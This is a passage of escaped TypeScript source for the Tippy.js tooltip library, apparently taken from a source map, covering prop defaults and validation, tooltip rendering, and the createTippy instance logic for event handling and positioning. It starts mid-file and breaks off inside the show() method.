renderProps = {\n allowHTML: false,\n animation: 'fade',\n arrow: true,\n content: '',\n inertia: false,\n maxWidth: 350,\n role: 'tooltip',\n theme: '',\n zIndex: 9999,\n};\n\nexport const defaultProps: DefaultProps = {\n appendTo: TIPPY_DEFAULT_APPEND_TO,\n aria: {\n content: 'auto',\n expanded: 'auto',\n },\n delay: 0,\n duration: [300, 250],\n getReferenceClientRect: null,\n hideOnClick: true,\n ignoreAttributes: false,\n interactive: false,\n interactiveBorder: 2,\n interactiveDebounce: 0,\n moveTransition: '',\n offset: [0, 10],\n onAfterUpdate() {},\n onBeforeUpdate() {},\n onCreate() {},\n onDestroy() {},\n onHidden() {},\n onHide() {},\n onMount() {},\n onShow() {},\n onShown() {},\n onTrigger() {},\n onUntrigger() {},\n onClickOutside() {},\n placement: 'top',\n plugins: [],\n popperOptions: {},\n render: null,\n showOnCreate: false,\n touch: true,\n trigger: 'mouseenter focus',\n triggerTarget: null,\n ...pluginProps,\n ...renderProps,\n};\n\nconst defaultKeys = Object.keys(defaultProps);\n\nexport const setDefaultProps: Tippy['setDefaultProps'] = (partialProps) => {\n /* istanbul ignore else */\n if (__DEV__) {\n validateProps(partialProps, []);\n }\n\n const keys = Object.keys(partialProps) as Array<keyof DefaultProps>;\n keys.forEach((key) => {\n (defaultProps as any)[key] = partialProps[key];\n });\n};\n\nexport function getExtendedPassedProps(\n passedProps: Partial<Props> & Record<string, unknown>\n): Partial<Props> {\n const plugins = passedProps.plugins || [];\n const pluginProps = plugins.reduce<Record<string, unknown>>((acc, plugin) => {\n const {name, defaultValue} = plugin;\n\n if (name) {\n acc[name] =\n passedProps[name] !== undefined\n ? passedProps[name]\n : (defaultProps as any)[name] ?? defaultValue;\n }\n\n return acc;\n }, {});\n\n return {\n ...passedProps,\n ...pluginProps,\n };\n}\n\nexport function getDataAttributeProps(\n reference: ReferenceElement,\n plugins: Plugin[]\n): Record<string, unknown> {\n const propKeys = plugins\n ? Object.keys(getExtendedPassedProps({...defaultProps, plugins}))\n : defaultKeys;\n\n const props = propKeys.reduce(\n (acc: Partial<Props> & Record<string, unknown>, key) => {\n const valueAsString = (\n reference.getAttribute(`data-tippy-${key}`) || ''\n ).trim();\n\n if (!valueAsString) {\n return acc;\n }\n\n if (key === 'content') {\n acc[key] = valueAsString;\n } else {\n try {\n acc[key] = JSON.parse(valueAsString);\n } catch (e) {\n acc[key] = valueAsString;\n }\n }\n\n return acc;\n },\n {}\n );\n\n return props;\n}\n\nexport function evaluateProps(\n reference: ReferenceElement,\n props: Props\n): Props {\n const out = {\n ...props,\n content: invokeWithArgsOrReturn(props.content, [reference]),\n ...(props.ignoreAttributes\n ? {}\n : getDataAttributeProps(reference, props.plugins)),\n };\n\n out.aria = {\n ...defaultProps.aria,\n ...out.aria,\n };\n\n out.aria = {\n expanded:\n out.aria.expanded === 'auto' ? props.interactive : out.aria.expanded,\n content:\n out.aria.content === 'auto'\n ? props.interactive\n ? null\n : 'describedby'\n : out.aria.content,\n };\n\n return out;\n}\n\nexport function validateProps(\n partialProps: Partial<Props> = {},\n plugins: Plugin[] = []\n): void {\n const keys = Object.keys(partialProps) as Array<keyof Props>;\n keys.forEach((prop) => {\n const nonPluginProps = removeProperties(\n defaultProps,\n Object.keys(pluginProps)\n );\n\n let didPassUnknownProp = !hasOwnProperty(nonPluginProps, prop);\n\n // Check if the prop exists in `plugins`\n if (didPassUnknownProp) {\n didPassUnknownProp =\n plugins.filter((plugin) => plugin.name === prop).length === 0;\n }\n\n warnWhen(\n didPassUnknownProp,\n [\n `\\`${prop}\\``,\n \"is not a valid prop. You may have spelled it incorrectly, or if it's\",\n 'a plugin, forgot to pass it in an array as props.plugins.',\n '\\n\\n',\n 'All props: https://atomiks.github.io/tippyjs/v6/all-props/\\n',\n 'Plugins: https://atomiks.github.io/tippyjs/v6/plugins/',\n ].join(' ')\n );\n });\n}\n","import {\n ARROW_CLASS,\n BACKDROP_CLASS,\n BOX_CLASS,\n CONTENT_CLASS,\n SVG_ARROW_CLASS,\n} from './constants';\nimport {div, isElement} from './dom-utils';\nimport {Instance, PopperElement, Props} from './types';\nimport {PopperChildren} from './types-internal';\nimport {arrayFrom} from './utils';\n\n// Firefox extensions don't allow .innerHTML = \"...\" property. This tricks it.\nconst innerHTML = (): 'innerHTML' => 'innerHTML';\n\nfunction dangerouslySetInnerHTML(element: Element, html: string): void {\n element[innerHTML()] = html;\n}\n\nfunction createArrowElement(value: Props['arrow']): HTMLDivElement {\n const arrow = div();\n\n if (value === true) {\n arrow.className = ARROW_CLASS;\n } else {\n arrow.className = SVG_ARROW_CLASS;\n\n if (isElement(value)) {\n arrow.appendChild(value);\n } else {\n dangerouslySetInnerHTML(arrow, value as string);\n }\n }\n\n return arrow;\n}\n\nexport function setContent(content: HTMLDivElement, props: Props): void {\n if (isElement(props.content)) {\n dangerouslySetInnerHTML(content, '');\n content.appendChild(props.content);\n } else if (typeof props.content !== 'function') {\n if (props.allowHTML) {\n dangerouslySetInnerHTML(content, props.content);\n } else {\n content.textContent = props.content;\n }\n }\n}\n\nexport function getChildren(popper: PopperElement): PopperChildren {\n const box = popper.firstElementChild as HTMLDivElement;\n const boxChildren = arrayFrom(box.children);\n\n return {\n box,\n content: boxChildren.find((node) => node.classList.contains(CONTENT_CLASS)),\n arrow: boxChildren.find(\n (node) =>\n node.classList.contains(ARROW_CLASS) ||\n node.classList.contains(SVG_ARROW_CLASS)\n ),\n backdrop: boxChildren.find((node) =>\n node.classList.contains(BACKDROP_CLASS)\n ),\n };\n}\n\nexport function render(\n instance: Instance\n): {\n popper: PopperElement;\n onUpdate?: (prevProps: Props, nextProps: Props) => void;\n} {\n const popper = div();\n\n const box = div();\n box.className = BOX_CLASS;\n box.setAttribute('data-state', 'hidden');\n box.setAttribute('tabindex', '-1');\n\n const content = div();\n content.className = CONTENT_CLASS;\n content.setAttribute('data-state', 'hidden');\n\n setContent(content, instance.props);\n\n popper.appendChild(box);\n box.appendChild(content);\n\n onUpdate(instance.props, instance.props);\n\n function onUpdate(prevProps: Props, nextProps: Props): void {\n const {box, content, arrow} = getChildren(popper);\n\n if (nextProps.theme) {\n box.setAttribute('data-theme', nextProps.theme);\n } else {\n box.removeAttribute('data-theme');\n }\n\n if (typeof nextProps.animation === 'string') {\n box.setAttribute('data-animation', nextProps.animation);\n } else {\n box.removeAttribute('data-animation');\n }\n\n if (nextProps.inertia) {\n box.setAttribute('data-inertia', '');\n } else {\n box.removeAttribute('data-inertia');\n }\n\n box.style.maxWidth =\n typeof nextProps.maxWidth === 'number'\n ? `${nextProps.maxWidth}px`\n : nextProps.maxWidth;\n\n if (nextProps.role) {\n box.setAttribute('role', nextProps.role);\n } else {\n box.removeAttribute('role');\n }\n\n if (\n prevProps.content !== nextProps.content ||\n prevProps.allowHTML !== nextProps.allowHTML\n ) {\n setContent(content, instance.props);\n }\n\n if (nextProps.arrow) {\n if (!arrow) {\n box.appendChild(createArrowElement(nextProps.arrow));\n } else if (prevProps.arrow !== nextProps.arrow) {\n box.removeChild(arrow);\n box.appendChild(createArrowElement(nextProps.arrow));\n }\n } else if (arrow) {\n box.removeChild(arrow!);\n }\n }\n\n return {\n popper,\n onUpdate,\n };\n}\n\n// Runtime check to identify if the render function is the default one; this\n// way we can apply default CSS transitions logic and it can be tree-shaken away\nrender.$$tippy = true;\n","import {createPopper, StrictModifiers, Modifier} from '@popperjs/core';\nimport {currentInput} from './bindGlobalEventListeners';\nimport {isIE11} from './browser';\nimport {TIPPY_DEFAULT_APPEND_TO, TOUCH_OPTIONS} from './constants';\nimport {\n actualContains,\n div,\n getOwnerDocument,\n isCursorOutsideInteractiveBorder,\n isMouseEvent,\n setTransitionDuration,\n setVisibilityState,\n updateTransitionEndListener,\n} from './dom-utils';\nimport {defaultProps, evaluateProps, getExtendedPassedProps} from './props';\nimport {getChildren} from './template';\nimport {\n Content,\n Instance,\n LifecycleHooks,\n PopperElement,\n Props,\n ReferenceElement,\n} from './types';\nimport {ListenerObject, PopperTreeData, PopperChildren} from './types-internal';\nimport {\n arrayFrom,\n debounce,\n getValueAtIndexOrReturn,\n invokeWithArgsOrReturn,\n normalizeToArray,\n pushIfUnique,\n splitBySpaces,\n unique,\n removeUndefinedProps,\n} from './utils';\nimport {createMemoryLeakWarning, errorWhen, warnWhen} from './validation';\n\nlet idCounter = 1;\nlet mouseMoveListeners: ((event: MouseEvent) => void)[] = [];\n\n// Used by `hideAll()`\nexport let mountedInstances: Instance[] = [];\n\nexport default function createTippy(\n reference: ReferenceElement,\n passedProps: Partial<Props>\n): Instance {\n const props = evaluateProps(reference, {\n ...defaultProps,\n ...getExtendedPassedProps(removeUndefinedProps(passedProps)),\n });\n\n // ===========================================================================\n // 🔒 Private members\n // ===========================================================================\n let showTimeout: any;\n let hideTimeout: any;\n let scheduleHideAnimationFrame: number;\n let isVisibleFromClick = false;\n let didHideDueToDocumentMouseDown = false;\n let didTouchMove = false;\n let ignoreOnFirstUpdate = false;\n let lastTriggerEvent: Event | undefined;\n let currentTransitionEndListener: (event: TransitionEvent) => void;\n let onFirstUpdate: () => void;\n let listeners: ListenerObject[] = [];\n let debouncedOnMouseMove = debounce(onMouseMove, props.interactiveDebounce);\n let currentTarget: Element;\n\n // ===========================================================================\n // 🔑 Public members\n // ===========================================================================\n const id = idCounter++;\n const popperInstance = null;\n const plugins = unique(props.plugins);\n\n const state = {\n // Is the instance currently enabled?\n isEnabled: true,\n // Is the tippy currently showing and not transitioning out?\n isVisible: false,\n // Has the instance been destroyed?\n isDestroyed: false,\n // Is the tippy currently mounted to the DOM?\n isMounted: false,\n // Has the tippy finished transitioning in?\n isShown: false,\n };\n\n const instance: Instance = {\n // properties\n id,\n reference,\n popper: div(),\n popperInstance,\n props,\n state,\n plugins,\n // methods\n clearDelayTimeouts,\n setProps,\n setContent,\n show,\n hide,\n hideWithInteractivity,\n enable,\n disable,\n unmount,\n destroy,\n };\n\n // TODO: Investigate why this early return causes a TDZ error in the tests —\n // it doesn't seem to happen in the browser\n /* istanbul ignore if */\n if (!props.render) {\n if (__DEV__) {\n errorWhen(true, 'render() function has not been supplied.');\n }\n\n return instance;\n }\n\n // ===========================================================================\n // Initial mutations\n // ===========================================================================\n const {popper, onUpdate} = props.render(instance);\n\n popper.setAttribute('data-__NAMESPACE_PREFIX__-root', '');\n popper.id = `__NAMESPACE_PREFIX__-${instance.id}`;\n\n instance.popper = popper;\n reference._tippy = instance;\n popper._tippy = instance;\n\n const pluginsHooks = plugins.map((plugin) => plugin.fn(instance));\n const hasAriaExpanded = reference.hasAttribute('aria-expanded');\n\n addListeners();\n handleAriaExpandedAttribute();\n handleStyles();\n\n invokeHook('onCreate', [instance]);\n\n if (props.showOnCreate) {\n scheduleShow();\n }\n\n // Prevent a tippy with a delay from hiding if the cursor left then returned\n // before it started hiding\n popper.addEventListener('mouseenter', () => {\n if (instance.props.interactive && instance.state.isVisible) {\n instance.clearDelayTimeouts();\n }\n });\n\n popper.addEventListener('mouseleave', () => {\n if (\n instance.props.interactive &&\n instance.props.trigger.indexOf('mouseenter') >= 0\n ) {\n getDocument().addEventListener('mousemove', debouncedOnMouseMove);\n }\n });\n\n return instance;\n\n // ===========================================================================\n // 🔒 Private methods\n // ===========================================================================\n function getNormalizedTouchSettings(): [string | boolean, number] {\n const {touch} = instance.props;\n return Array.isArray(touch) ? touch : [touch, 0];\n }\n\n function getIsCustomTouchBehavior(): boolean {\n return getNormalizedTouchSettings()[0] === 'hold';\n }\n\n function getIsDefaultRenderFn(): boolean {\n // @ts-ignore\n return !!instance.props.render?.$$tippy;\n }\n\n function getCurrentTarget(): Element {\n return currentTarget || reference;\n }\n\n function getDocument(): Document {\n const parent = getCurrentTarget().parentNode as Element;\n return parent ? getOwnerDocument(parent) : document;\n }\n\n function getDefaultTemplateChildren(): PopperChildren {\n return getChildren(popper);\n }\n\n function getDelay(isShow: boolean): number {\n // For touch or keyboard input, force `0` delay for UX reasons\n // Also if the instance is mounted but not visible (transitioning out),\n // ignore delay\n if (\n (instance.state.isMounted && !instance.state.isVisible) ||\n currentInput.isTouch ||\n (lastTriggerEvent && lastTriggerEvent.type === 'focus')\n ) {\n return 0;\n }\n\n return getValueAtIndexOrReturn(\n instance.props.delay,\n isShow ? 0 : 1,\n defaultProps.delay\n );\n }\n\n function handleStyles(fromHide = false): void {\n popper.style.pointerEvents =\n instance.props.interactive && !fromHide ? '' : 'none';\n popper.style.zIndex = `${instance.props.zIndex}`;\n }\n\n function invokeHook(\n hook: keyof LifecycleHooks,\n args: [Instance, any?],\n shouldInvokePropsHook = true\n ): void {\n pluginsHooks.forEach((pluginHooks) => {\n if (pluginHooks[hook]) {\n pluginHooks[hook]!(...args);\n }\n });\n\n if (shouldInvokePropsHook) {\n instance.props[hook](...args);\n }\n }\n\n function handleAriaContentAttribute(): void {\n const {aria} = instance.props;\n\n if (!aria.content) {\n return;\n }\n\n const attr = `aria-${aria.content}`;\n const id = popper.id;\n const nodes = normalizeToArray(instance.props.triggerTarget || reference);\n\n nodes.forEach((node) => {\n const currentValue = node.getAttribute(attr);\n\n if (instance.state.isVisible) {\n node.setAttribute(attr, currentValue ? `${currentValue} ${id}` : id);\n } else {\n const nextValue = currentValue && currentValue.replace(id, '').trim();\n\n if (nextValue) {\n node.setAttribute(attr, nextValue);\n } else {\n node.removeAttribute(attr);\n }\n }\n });\n }\n\n function handleAriaExpandedAttribute(): void {\n if (hasAriaExpanded || !instance.props.aria.expanded) {\n return;\n }\n\n const nodes = normalizeToArray(instance.props.triggerTarget || reference);\n\n nodes.forEach((node) => {\n if (instance.props.interactive) {\n node.setAttribute(\n 'aria-expanded',\n instance.state.isVisible && node === getCurrentTarget()\n ? 'true'\n : 'false'\n );\n } else {\n node.removeAttribute('aria-expanded');\n }\n });\n }\n\n function cleanupInteractiveMouseListeners(): void {\n getDocument().removeEventListener('mousemove', debouncedOnMouseMove);\n mouseMoveListeners = mouseMoveListeners.filter(\n (listener) => listener !== debouncedOnMouseMove\n );\n }\n\n function onDocumentPress(event: MouseEvent | TouchEvent): void {\n // Moved finger to scroll instead of an intentional tap outside\n if (currentInput.isTouch) {\n if (didTouchMove || event.type === 'mousedown') {\n return;\n }\n }\n\n const actualTarget =\n (event.composedPath && event.composedPath()[0]) || event.target;\n\n // Clicked on interactive popper\n if (\n instance.props.interactive &&\n actualContains(popper, actualTarget as Element)\n ) {\n return;\n }\n\n // Clicked on the event listeners target\n if (\n normalizeToArray(instance.props.triggerTarget || reference).some((el) =>\n actualContains(el, actualTarget as Element)\n )\n ) {\n if (currentInput.isTouch) {\n return;\n }\n\n if (\n instance.state.isVisible &&\n instance.props.trigger.indexOf('click') >= 0\n ) {\n return;\n }\n } else {\n invokeHook('onClickOutside', [instance, event]);\n }\n\n if (instance.props.hideOnClick === true) {\n instance.clearDelayTimeouts();\n instance.hide();\n\n // `mousedown` event is fired right before `focus` if pressing the\n // currentTarget. This lets a tippy with `focus` trigger know that it\n // should not show\n didHideDueToDocumentMouseDown = true;\n setTimeout(() => {\n didHideDueToDocumentMouseDown = false;\n });\n\n // The listener gets added in `scheduleShow()`, but this may be hiding it\n // before it shows, and hide()'s early bail-out behavior can prevent it\n // from being cleaned up\n if (!instance.state.isMounted) {\n removeDocumentPress();\n }\n }\n }\n\n function onTouchMove(): void {\n didTouchMove = true;\n }\n\n function onTouchStart(): void {\n didTouchMove = false;\n }\n\n function addDocumentPress(): void {\n const doc = getDocument();\n doc.addEventListener('mousedown', onDocumentPress, true);\n doc.addEventListener('touchend', onDocumentPress, TOUCH_OPTIONS);\n doc.addEventListener('touchstart', onTouchStart, TOUCH_OPTIONS);\n doc.addEventListener('touchmove', onTouchMove, TOUCH_OPTIONS);\n }\n\n function removeDocumentPress(): void {\n const doc = getDocument();\n doc.removeEventListener('mousedown', onDocumentPress, true);\n doc.removeEventListener('touchend', onDocumentPress, TOUCH_OPTIONS);\n doc.removeEventListener('touchstart', onTouchStart, TOUCH_OPTIONS);\n doc.removeEventListener('touchmove', onTouchMove, TOUCH_OPTIONS);\n }\n\n function onTransitionedOut(duration: number, callback: () => void): void {\n onTransitionEnd(duration, () => {\n if (\n !instance.state.isVisible &&\n popper.parentNode &&\n popper.parentNode.contains(popper)\n ) {\n callback();\n }\n });\n }\n\n function onTransitionedIn(duration: number, callback: () => void): void {\n onTransitionEnd(duration, callback);\n }\n\n function onTransitionEnd(duration: number, callback: () => void): void {\n const box = getDefaultTemplateChildren().box;\n\n function listener(event: TransitionEvent): void {\n if (event.target === box) {\n updateTransitionEndListener(box, 'remove', listener);\n callback();\n }\n }\n\n // Make callback synchronous if duration is 0\n // `transitionend` won't fire otherwise\n if (duration === 0) {\n return callback();\n }\n\n updateTransitionEndListener(box, 'remove', currentTransitionEndListener);\n updateTransitionEndListener(box, 'add', listener);\n\n currentTransitionEndListener = listener;\n }\n\n function on(\n eventType: string,\n handler: EventListener,\n options: boolean | Record<string, unknown> = false\n ): void {\n const nodes = normalizeToArray(instance.props.triggerTarget || reference);\n nodes.forEach((node) => {\n node.addEventListener(eventType, handler, options);\n listeners.push({node, eventType, handler, options});\n });\n }\n\n function addListeners(): void {\n if (getIsCustomTouchBehavior()) {\n on('touchstart', onTrigger, {passive: true});\n on('touchend', onMouseLeave as EventListener, {passive: true});\n }\n\n splitBySpaces(instance.props.trigger).forEach((eventType) => {\n if (eventType === 'manual') {\n return;\n }\n\n on(eventType, onTrigger);\n\n switch (eventType) {\n case 'mouseenter':\n on('mouseleave', onMouseLeave as EventListener);\n break;\n case 'focus':\n on(isIE11 ? 'focusout' : 'blur', onBlurOrFocusOut as EventListener);\n break;\n case 'focusin':\n on('focusout', onBlurOrFocusOut as EventListener);\n break;\n }\n });\n }\n\n function removeListeners(): void {\n listeners.forEach(({node, eventType, handler, options}: ListenerObject) => {\n node.removeEventListener(eventType, handler, options);\n });\n listeners = [];\n }\n\n function onTrigger(event: Event): void {\n let shouldScheduleClickHide = false;\n\n if (\n !instance.state.isEnabled ||\n isEventListenerStopped(event) ||\n didHideDueToDocumentMouseDown\n ) {\n return;\n }\n\n const wasFocused = lastTriggerEvent?.type === 'focus';\n\n lastTriggerEvent = event;\n currentTarget = event.currentTarget as Element;\n\n handleAriaExpandedAttribute();\n\n if (!instance.state.isVisible && isMouseEvent(event)) {\n // If scrolling, `mouseenter` events can be fired if the cursor lands\n // over a new target, but `mousemove` events don't get fired. This\n // causes interactive tooltips to get stuck open until the cursor is\n // moved\n mouseMoveListeners.forEach((listener) => listener(event));\n }\n\n // Toggle show/hide when clicking click-triggered tooltips\n if (\n event.type === 'click' &&\n (instance.props.trigger.indexOf('mouseenter') < 0 ||\n isVisibleFromClick) &&\n instance.props.hideOnClick !== false &&\n instance.state.isVisible\n ) {\n shouldScheduleClickHide = true;\n } else {\n scheduleShow(event);\n }\n\n if (event.type === 'click') {\n isVisibleFromClick = !shouldScheduleClickHide;\n }\n\n if (shouldScheduleClickHide && !wasFocused) {\n scheduleHide(event);\n }\n }\n\n function onMouseMove(event: MouseEvent): void {\n const target = event.target as Node;\n const isCursorOverReferenceOrPopper =\n getCurrentTarget().contains(target) || popper.contains(target);\n\n if (event.type === 'mousemove' && isCursorOverReferenceOrPopper) {\n return;\n }\n\n const popperTreeData = getNestedPopperTree()\n .concat(popper)\n .map((popper) => {\n const instance = popper._tippy!;\n const state = instance.popperInstance?.state;\n\n if (state) {\n return {\n popperRect: popper.getBoundingClientRect(),\n popperState: state,\n props,\n };\n }\n\n return null;\n })\n .filter(Boolean) as PopperTreeData[];\n\n if (isCursorOutsideInteractiveBorder(popperTreeData, event)) {\n cleanupInteractiveMouseListeners();\n scheduleHide(event);\n }\n }\n\n function onMouseLeave(event: MouseEvent): void {\n const shouldBail =\n isEventListenerStopped(event) ||\n (instance.props.trigger.indexOf('click') >= 0 && isVisibleFromClick);\n\n if (shouldBail) {\n return;\n }\n\n if (instance.props.interactive) {\n instance.hideWithInteractivity(event);\n return;\n }\n\n scheduleHide(event);\n }\n\n function onBlurOrFocusOut(event: FocusEvent): void {\n if (\n instance.props.trigger.indexOf('focusin') < 0 &&\n event.target !== getCurrentTarget()\n ) {\n return;\n }\n\n // If focus was moved to within the popper\n if (\n instance.props.interactive &&\n event.relatedTarget &&\n popper.contains(event.relatedTarget as Element)\n ) {\n return;\n }\n\n scheduleHide(event);\n }\n\n function isEventListenerStopped(event: Event): boolean {\n return currentInput.isTouch\n ? getIsCustomTouchBehavior() !== event.type.indexOf('touch') >= 0\n : false;\n }\n\n function createPopperInstance(): void {\n destroyPopperInstance();\n\n const {\n popperOptions,\n placement,\n offset,\n getReferenceClientRect,\n moveTransition,\n } = instance.props;\n\n const arrow = getIsDefaultRenderFn() ? getChildren(popper).arrow : null;\n\n const computedReference = getReferenceClientRect\n ? {\n getBoundingClientRect: getReferenceClientRect,\n contextElement:\n getReferenceClientRect.contextElement || getCurrentTarget(),\n }\n : reference;\n\n const tippyModifier: Modifier<'$$tippy', Record<string, unknown>> = {\n name: '$$tippy',\n enabled: true,\n phase: 'beforeWrite',\n requires: ['computeStyles'],\n fn({state}) {\n if (getIsDefaultRenderFn()) {\n const {box} = getDefaultTemplateChildren();\n\n ['placement', 'reference-hidden', 'escaped'].forEach((attr) => {\n if (attr === 'placement') {\n box.setAttribute('data-placement', state.placement);\n } else {\n if (state.attributes.popper[`data-popper-${attr}`]) {\n box.setAttribute(`data-${attr}`, '');\n } else {\n box.removeAttribute(`data-${attr}`);\n }\n }\n });\n\n state.attributes.popper = {};\n }\n },\n };\n\n type TippyModifier = Modifier<'$$tippy', Record<string, unknown>>;\n type ExtendedModifiers = StrictModifiers | Partial<TippyModifier>;\n\n const modifiers: Array<ExtendedModifiers> = [\n {\n name: 'offset',\n options: {\n offset,\n },\n },\n {\n name: 'preventOverflow',\n options: {\n padding: {\n top: 2,\n bottom: 2,\n left: 5,\n right: 5,\n },\n },\n },\n {\n name: 'flip',\n options: {\n padding: 5,\n },\n },\n {\n name: 'computeStyles',\n options: {\n adaptive: !moveTransition,\n },\n },\n tippyModifier,\n ];\n\n if (getIsDefaultRenderFn() && arrow) {\n modifiers.push({\n name: 'arrow',\n options: {\n element: arrow,\n padding: 3,\n },\n });\n }\n\n modifiers.push(...(popperOptions?.modifiers || []));\n\n instance.popperInstance = createPopper<ExtendedModifiers>(\n computedReference,\n popper,\n {\n ...popperOptions,\n placement,\n onFirstUpdate,\n modifiers,\n }\n );\n }\n\n function destroyPopperInstance(): void {\n if (instance.popperInstance) {\n instance.popperInstance.destroy();\n instance.popperInstance = null;\n }\n }\n\n function mount(): void {\n const {appendTo} = instance.props;\n\n let parentNode: any;\n\n // By default, we'll append the popper to the triggerTargets's parentNode so\n // it's directly after the reference element so the elements inside the\n // tippy can be tabbed to\n // If there are clipping issues, the user can specify a different appendTo\n // and ensure focus management is handled correctly manually\n const node = getCurrentTarget();\n\n if (\n (instance.props.interactive && appendTo === TIPPY_DEFAULT_APPEND_TO) ||\n appendTo === 'parent'\n ) {\n parentNode = node.parentNode;\n } else {\n parentNode = invokeWithArgsOrReturn(appendTo, [node]);\n }\n\n // The popper element needs to exist on the DOM before its position can be\n // updated as Popper needs to read its dimensions\n if (!parentNode.contains(popper)) {\n parentNode.appendChild(popper);\n }\n\n instance.state.isMounted = true;\n\n createPopperInstance();\n\n /* istanbul ignore else */\n if (__DEV__) {\n // Accessibility check\n warnWhen(\n instance.props.interactive &&\n appendTo === defaultProps.appendTo &&\n node.nextElementSibling !== popper,\n [\n 'Interactive tippy element may not be accessible via keyboard',\n 'navigation because it is not directly after the reference element',\n 'in the DOM source order.',\n '\\n\\n',\n 'Using a wrapper <div> or <span> tag around the reference element',\n 'solves this by creating a new parentNode context.',\n '\\n\\n',\n 'Specifying `appendTo: document.body` silences this warning, but it',\n 'assumes you are using a focus management solution to handle',\n 'keyboard navigation.',\n '\\n\\n',\n 'See: https://atomiks.github.io/tippyjs/v6/accessibility/#interactivity',\n ].join(' ')\n );\n }\n }\n\n function getNestedPopperTree(): PopperElement[] {\n return arrayFrom(\n popper.querySelectorAll('[data-__NAMESPACE_PREFIX__-root]')\n );\n }\n\n function scheduleShow(event?: Event): void {\n instance.clearDelayTimeouts();\n\n if (event) {\n invokeHook('onTrigger', [instance, event]);\n }\n\n addDocumentPress();\n\n let delay = getDelay(true);\n const [touchValue, touchDelay] = getNormalizedTouchSettings();\n\n if (currentInput.isTouch && touchValue === 'hold' && touchDelay) {\n delay = touchDelay;\n }\n\n if (delay) {\n showTimeout = setTimeout(() => {\n instance.show();\n }, delay);\n } else {\n instance.show();\n }\n }\n\n function scheduleHide(event: Event): void {\n instance.clearDelayTimeouts();\n\n invokeHook('onUntrigger', [instance, event]);\n\n if (!instance.state.isVisible) {\n removeDocumentPress();\n\n return;\n }\n\n // For interactive tippies, scheduleHide is added to a document.body handler\n // from onMouseLeave so must intercept scheduled hides from mousemove/leave\n // events when trigger contains mouseenter and click, and the tip is\n // currently shown as a result of a click.\n if (\n instance.props.trigger.indexOf('mouseenter') >= 0 &&\n instance.props.trigger.indexOf('click') >= 0 &&\n ['mouseleave', 'mousemove'].indexOf(event.type) >= 0 &&\n isVisibleFromClick\n ) {\n return;\n }\n\n const delay = getDelay(false);\n\n if (delay) {\n hideTimeout = setTimeout(() => {\n if (instance.state.isVisible) {\n instance.hide();\n }\n }, delay);\n } else {\n // Fixes a `transitionend` problem when it fires 1 frame too\n // late sometimes, we don't want hide() to be called.\n scheduleHideAnimationFrame = requestAnimationFrame(() => {\n instance.hide();\n });\n }\n }\n\n // ===========================================================================\n // 🔑 Public methods\n // ===========================================================================\n function enable(): void {\n instance.state.isEnabled = true;\n }\n\n function disable(): void {\n // Disabling the instance should also hide it\n // https://github.com/atomiks/tippy.js-react/issues/106\n instance.hide();\n instance.state.isEnabled = false;\n }\n\n function clearDelayTimeouts(): void {\n clearTimeout(showTimeout);\n clearTimeout(hideTimeout);\n cancelAnimationFrame(scheduleHideAnimationFrame);\n }\n\n function setProps(partialProps: Partial<Props>): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('setProps'));\n }\n\n if (instance.state.isDestroyed) {\n return;\n }\n\n invokeHook('onBeforeUpdate', [instance, partialProps]);\n\n removeListeners();\n\n const prevProps = instance.props;\n const nextProps = evaluateProps(reference, {\n ...prevProps,\n ...removeUndefinedProps(partialProps),\n ignoreAttributes: true,\n });\n\n instance.props = nextProps;\n\n addListeners();\n\n if (prevProps.interactiveDebounce !== nextProps.interactiveDebounce) {\n cleanupInteractiveMouseListeners();\n debouncedOnMouseMove = debounce(\n onMouseMove,\n nextProps.interactiveDebounce\n );\n }\n\n // Ensure stale aria-expanded attributes are removed\n if (prevProps.triggerTarget && !nextProps.triggerTarget) {\n normalizeToArray(prevProps.triggerTarget).forEach((node) => {\n node.removeAttribute('aria-expanded');\n });\n } else if (nextProps.triggerTarget) {\n reference.removeAttribute('aria-expanded');\n }\n\n handleAriaExpandedAttribute();\n handleStyles();\n\n if (onUpdate) {\n onUpdate(prevProps, nextProps);\n }\n\n if (instance.popperInstance) {\n createPopperInstance();\n\n // Fixes an issue with nested tippies if they are all getting re-rendered,\n // and the nested ones get re-rendered first.\n // https://github.com/atomiks/tippyjs-react/issues/177\n // TODO: find a cleaner / more efficient solution(!)\n getNestedPopperTree().forEach((nestedPopper) => {\n // React (and other UI libs likely) requires a rAF wrapper as it flushes\n // its work in one\n requestAnimationFrame(nestedPopper._tippy!.popperInstance!.forceUpdate);\n });\n }\n\n invokeHook('onAfterUpdate', [instance, partialProps]);\n }\n\n function setContent(content: Content): void {\n instance.setProps({content});\n }\n\n function show(): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('show'));\n }\n\n // Early bail-out\n const isAlreadyVisible = instance.state.isVisible;\n const isDestroyed = instance.state.isDestroyed;\n const isDisabled = !instance.state.isEnabled;\n const isTouchAndTouchDisabled =\n currentInput.isTouch && !instance.props.touch;\n const duration = getValueAtIndexOrReturn(\n instance.props.duration,\n 0,\n defaultProps.duration\n );\n\n if (\n isAlreadyVisible ||\n isDestroyed ||\n isDisabled ||\n isTouchAndTouchDisabled\n ) {\n return;\n }\n\n // Normalize `disabled` behavior across browsers.\n // Firefox allows events on disabled elements, but Chrome doesn't.\n // Using a wrapper element (i.e. <span>) is recommended.\n if (getCurrentTarget().hasAttribute('disabled')) {\n return;\n }\n\n invokeHook('onShow', [instance], false);\n if (instance.props.onShow(instance) === false) {\n return;\n }\n\n instance.state.isVisible = true;\n\n if (getIsDefaultRenderFn()) {\n popper.style.visibility = 'visible';\n }\n\n handleStyles();\n addDocumentPress();\n\n if (!instance.state.isMounted) {\n popper.style.transition = 'none';\n }\n\n // If flipping to the opposite side after hiding at least once, the\n // animation will use the wrong placement without resetting the duration\n if (getIsDefaultRenderFn()) {\n const {box, content} = getDefaultTemplateChildren();\n setTransitionDuration([box, content], 0);\n }\n\n onFirstUpdate = (): void => {\n if (!instance.state.isVisible || ignoreOnFirstUpdate) {\n return;\n }\n\n ignoreOnFirstUpdate = true;\n\n // reflow\n void popper.offsetHeight;\n\n popper.style.transition = instance.props.moveTransition;\n\n if (getIsDefaultRenderFn() && instance.props.animation) {\n const {box, content} = getDefaultTemplateChildren();\n setTransitionDuration([box, content], duration);\n setVisibilityState([box, content], 'visible');\n }\n\n handleAriaContentAttribute();\n handleAriaExpandedAttribute();\n\n pushIfUnique(mountedInstances, instance);\n\n // certain modifiers (e.g. `maxSize`) require a second update after the\n // popper has been positioned for the first time\n instance.popperInstance?.forceUpdate();\n\n invokeHook('onMount', [instance]);\n\n if 